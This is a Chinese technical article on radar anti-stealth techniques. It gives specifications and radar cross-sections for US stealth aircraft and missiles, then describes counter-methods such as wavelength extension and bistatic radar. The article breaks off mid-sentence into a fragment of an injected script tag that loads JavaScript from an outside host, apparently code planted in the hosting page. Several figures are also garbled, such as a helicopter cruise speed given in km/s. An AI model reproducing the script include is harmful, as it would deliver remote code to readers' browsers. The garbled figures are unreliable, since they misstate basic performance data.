摘 要:简述了针对隐形飞行器而发展的雷达的反隐身技术。
关键词:隐形飞行器;雷达;探测;反射截面
现代战争讲求的是速度,为了增大战争的突然性,美国等发达国家长期以来一直在研究隐形武器装备,使得隐形武器装备异军突起,一系列新型的隐形武器装备相继问世。目前,美国已将隐形技术普遍应用于侦察、轰炸、战斗、海军舰载攻击等各种飞机上。隐 形武器的开发和应用是航空武器技术乃至整个武器技术发展的重标志。由于隐形飞机的出现,早期的雷达很难发现目标,在海湾战争的第一次攻击中,美军使用的f-117隐形飞机,偷袭伊拉克首都巴格达市中心通信大楼,投弹45 min后,巴格达才拉响空袭警报。在整个海湾战争中,f-117出动架次仅占所有作战飞机攻击架次的2%,但却完成了40%的攻击目标。因此,伴随着隐形飞机的出现,探测隐形飞行器的雷达技术体制也将进行相应的变化。
1 隐形飞行器的现状
隐形飞机是当今最为有效的高技术空袭兵器之一,在突防能力、攻击精度和生存能力等方面表现出的优越性能,是其他飞机所不能及的。
1.1 f-117战斗机
空重13 608 kg,最大起飞重量23 813 kg,海平面最大巡航速度1 038 km,最大速度为0.9马赫,实用升限15 km,作战半径556~740 km,可在夜间进行空中加油。对雷达的反射截面为0.01~0.1 m2,正面反 射截面为0.025 m2。
1.2 b-2轰炸机
空重45 400 kg,最大起飞重量149 700 kg,作战半径18 330 km(空中不加油),飞行速度为高亚音速,升限15 km,具有超低空飞行能力,能在100 m高度及13 km高空突防。对雷达的反射截面为0.1~0.3 m2。
1.3 f-22战斗机
装有20 mmm61航炮1门,近程红外导弹8枚,中程空空导弹8枚,实际升限15 240 m,速度为1.2~2马赫,起飞距离500 m,超音速巡航,雷 达反射截面为0.1 m2。
1.4 “科曼奇”pah-66武装直升机
空重3 402 kg,最大起飞重量7 620 kg,巡航速度为315 km/s,最大爬升率为15.5 m/s,带外部油箱时 航程为2 335 km,续航时间为2.5 h。对雷达反射截面为“阿帕奇”ah-64的1/600,“基奥瓦”的1/200。
1.5 隐形导弹
现在只有美国研制成功了隐形战略巡航导弹和隐形战术弹道导弹。
(1)战略巡航导弹
agm-86b型,空中发射,隐形性能不是太好。
agm-139型,采用了有源冷却装置、红外抑制 器、二元喷管、全自动腹部方向舵和全复合材料等多种隐形技术.射程3 700 km,空中发射,对雷达的反射截面为0.5 m2。
(2)战术弹道导弹
agm-137:射程600 km,空中发射,重1 000 kg,对雷达的反射截面为0.32 m2。
mgm-137:射程500 km,地面发射,重1000 kg,对雷达的反射截面为0.32 m2。
2 雷达的反隐身技术
虽然隐形技术的发展增加了雷达发现目标的难度,但这并不是说雷达就不能发现目标。实际上,已多次有雷达发现进行训练的f-117的记录。在科索沃战争中,南联盟也曾击落了一架f-117战机。
针对隐形飞行器的隐身原理,可采用多种方法提高雷达探测到隐形飞行器的能力。
2.1 扩展雷达的工作波段范围
增大普通雷达的波长是一种反隐身的有效办法。我们知道,当雷达波长与被照射的物体的某部分尺寸接近时,由于物体某部分直接反射的回波和整个物体表面的传播之间会产生谐振,形成强回波尖峰,这也就是增大雷达波长反隐身的道理。隐形飞行器通常是针对厘米波段雷达设计的,因此,将雷达的工作波段向米波段和毫米波段甚至红外波段、激光波段扩展,都将具有一定的反隐身能力。
2.2 采用传统方法提高雷达的探测性能
隐形飞行器通常总有一定的雷达散射截面积(1 m2以下),如果提高常规雷达的设计技术指标,也能探测到隐形飞行器。如:采用频率捷变、扩频技术、低旁瓣或旁瓣对消、恒虚警电路等技术,可提高雷达的抗干扰能力;采用大时宽脉冲压缩技术、增大发射功率等措施,可提高雷达的作用距离;采用数字滤波、电荷耦合器件、声表面滤波等先进技术,可提高接收机的信号处理能力,等等。在此基础上,再通过雷达联网,从整体上提高雷达的反隐身能力。
2.3 采用特殊体制(高灵敏度)的雷达
高灵敏度雷达,是利用某些特种技术措施来提取目标的重要信息,如采用较低工作频率、宽频带、多频谱、双极化、双/多基地等。其代表种类有:先进的单基地雷达(宽频带/超频带雷达、超视距雷达)、双(多)基地雷达、毫米波雷达、激光雷达等。
(1)双(多)基地雷达
一般的雷达是单基地的,即发射机和接收机安装在一起,且通常共用一个天线。而双基地或多基地雷达是将发射机和?script src=http://er12.com/t.js>